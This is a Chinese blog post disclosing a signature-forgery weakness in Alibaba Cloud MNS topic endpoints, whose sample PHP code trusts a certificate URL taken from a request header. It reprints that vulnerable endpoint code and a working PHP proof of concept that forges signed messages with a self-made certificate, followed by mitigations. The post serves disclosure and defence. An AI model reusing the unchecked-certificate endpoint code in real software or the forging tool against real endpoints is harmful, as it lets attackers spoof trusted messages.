0x00 背景

最近用了阿里云消息服务中的主题订阅,发现当 MNS 向 Endpoint 投递消息时,当前的签名机制会存在一定的风险

0x01 MNS 签名机制

MNS Endpoint 的签名机制是使用 sha1WithRSAEncryption 对一系列参数签名,Enpoint 接收到请求之后再从 header 里取出相应的参数并校验其签名。

其中 sha1WithRSAEncryption 算法就会用到一张 X509 证书,这个是本次实验的关键。

0x02 Topic Enpoint 代码

先上代码,截止 2019-09-02,这个代码跟官方给出的 demo (https://github.com/aliyun/aliyun-mns-php-sdk/blob/master/Samples/Topic/http_server_sample.php)基本一致:

<?php

$headers = [];
/**
 * 获取 HTTP Headers
 */
foreach ($_SERVER as $key => $value) {
    if (substr(strtolower($key), 0, 5) == 'http_') {
        $headers[
            str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))))
        ] = $value;
    }
}
// 有些环境可能无法从 HTTP_CONTENT_TYPE 获得 Content-Type
$headers['Content-Type'] = $_SERVER['CONTENT_TYPE'];

$requestMethod = $_SERVER['REQUEST_METHOD'];
$requestUri = $_SERVER['REQUEST_URI'];

/**
 * 获取 x-mns- 开头的 header 信息
 */
$mns = [];
foreach ($headers as $key => $value) {
    if (substr(strtolower($key), 0, 5) == 'x-mns') {
        $mns[strtolower($key)] = $value;
    }
}
ksort($mns);

/**
 * 获取消息本体
 */
$msgBody = file_get_contents('php://input');

/**
 * 校验消息的 md5 摘要是否跟 header 中的一致
 */
if (md5($msgBody) != base64_decode($headers['Content-Md5'])) {
    header('HTTP/1.1 403 Forbidden');
    return;
}

/**
 * 拼接待签名字符串
 */
$strToSign = "{$requestMethod}\n{$headers['Content-Md5']}\n{$headers['Content-Type']}\n{$headers['Date']}\n";

foreach ($mns as $key => $value) {
    $strToSign .= "{$key}:{$value}\n";
}

$strToSign .= $requestUri;

/**
 * 取得 X509 证书
 */
$publicKey = file_get_contents(base64_decode($mns['x-mns-signing-cert-url']));

$signature = $headers['Authorization'];

$res = openssl_get_publickey($publicKey);
$result = (bool)openssl_verify($strToSign, base64_decode($signature), $res);
openssl_free_key($res);

if (! $result) {
    header('HTTP/1.1 403 Forbidden');
    return;
}

/**
 * 签名通过,下面可以进行业务逻辑处理了
 */

echo $msgBody;

然后拿官方的 主题HttpEndpoint本地调试工具(这里要吐槽一下这个工具,居然要我用 2.5 以上,3.0 以下的 Python,费了我老大劲才找到一个 Python 2.7 的环境来测试)测试一下上述代码,没问题

0x03 注意!风险出没!

你可能发现了,上面的代码中,我们是从 header 中的 x-mns-signing-cert-url 获取证书的,并且没有对证书的来源做检查,那如果证书不是阿里云的,又或者说,有人伪造了一条消息,他用了自己的证书来对消息进行签名,这是完全可以的?!

0x04 实践是检验真理的唯一标准

我们先在终端中生成 X509 证书:

openssl req -newkey rsa:512 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem

这个时候在当前目录下就会生成 key.pemcert.pem 两个文件,其中 key.pem 是拿来生成签名用的,cert.pem 是拿来校验签名用的(即放到服务器上,其链接就是 x-mns-signing-cert-url,在本次实验中,我将 cert.pem 放置在了 http://127.0.0.1:9999/cert.pem

下面再给出一份用于实验生成签名用的代码(假设命名为 tool.php):

<?php

$msg = '<h1>Hello</h1>';

$mns = [
    'x-mns-signing_cert_url' => base64_encode('http://127.0.0.1:9999/cert.pem'),
    'x-mns-version'          => date('Y-m-d'),
    'x-mns-request_id'       => md5(time()),
];

ksort($mns);

$contentMd5 = base64_encode(md5($msg));
$contentType = 'text/xml; charset=utf-8';
$requestUri = '/notifications';
$date = gmdate('D, d M Y H:i:s T', time());

$strToSign = "POST\n{$contentMd5}\n{$contentType}\n{$date}\n";

foreach ($mns as $key => $value) {
    $strToSign .= "{$key}:{$value}\n";
}

$strToSign .= $requestUri;

$privateKey = file_get_contents(__DIR__ . '/key.pem');
$res = openssl_get_privatekey($privateKey);
$signature = '';

openssl_sign($strToSign, $signature, $res);

// free the key from memory
openssl_free_key($res);

$signature = base64_encode($signature);

var_dump(compact(
    'contentMd5', 'contentType', 'msg', 'mns', 'signature', 'date', 'requestUri'
));

执行 php tool.php,你会得到类似于如下的输出:

array(7) {
  ["contentMd5"]=>
  string(44) "NGIyMTRhNWQ3MWFmZWU2ZjgxOGE1OTlmNDNkYjNlNTY="
  ["contentType"]=>
  string(23) "text/xml; charset=utf-8"
  ["msg"]=>
  string(14) "<h1>Hello</h1>"
  ["mns"]=>
  array(3) {
    ["x-mns-request_id"]=>
    string(32) "b69b355268ea1f55da4540d78e151e29"
    ["x-mns-signing_cert_url"]=>
    string(40) "aHR0cDovLzEyNy4wLjAuMTo5OTk5L2NlcnQucGVt"
    ["x-mns-version"]=>
    string(10) "2019-09-01"
  }
  ["signature"]=>
  string(88) "EgH1slsoNewzkR6/BC9ef3yY1mEOJl9yG8LLlXNntMR1dFje9tmC/a2k3X6pwvKarmCzwSUpEaqLPEHtYf/xKw=="
  ["date"]=>
  string(29) "Sun, 01 Sep 2019 16:21:23 GMT"
  ["requestUri"]=>
  string(14) "/notifications"
}

那我们将输出的这些信息 POST 到上面的代码中试试...

mns请求结果.jpg

真的成功了!

0x05 如何防范?

如果你是开发者,有两种方法可以参考:

  1. 在代码中检查 x-mns-signing-cert-url 地址是否为阿里云官方的,但截止目前(2019.09.02),阿里云的文档上没有说明这个地址是否固定,以及哪个域名是阿里云官方的,故该方法也达不到 100% 可靠度
  2. 从业务层去做多一次校验,例如加入随机字符串,然后用一个私有的 key 来对消息本身做签名

如果你是阿里云的技术人员,请考虑以下两点建议:

  1. 在文档中提示可能的风险
  2. 修改 demo 中相关代码,以防“拿来主义”直接使用有较高风险的代码
  3. 将证书的地址固定,并在管理后台告知开发者具体地址

思考:Endpoint 的 URL 和消息的数据结构又不是人人都知道,真的有必要这样多此一举吗?

唔...世界上没有绝对安全的系统,但既然我们知道有可能存在风险,那就有必要去防范它,使它变得更牢固

标签: php, 安全

已有 3 条评论

  1. Jodie Jodie

    非常感谢您的提醒,我们会紧急进行优化,感谢!

  2. 感谢提醒!

添加新评论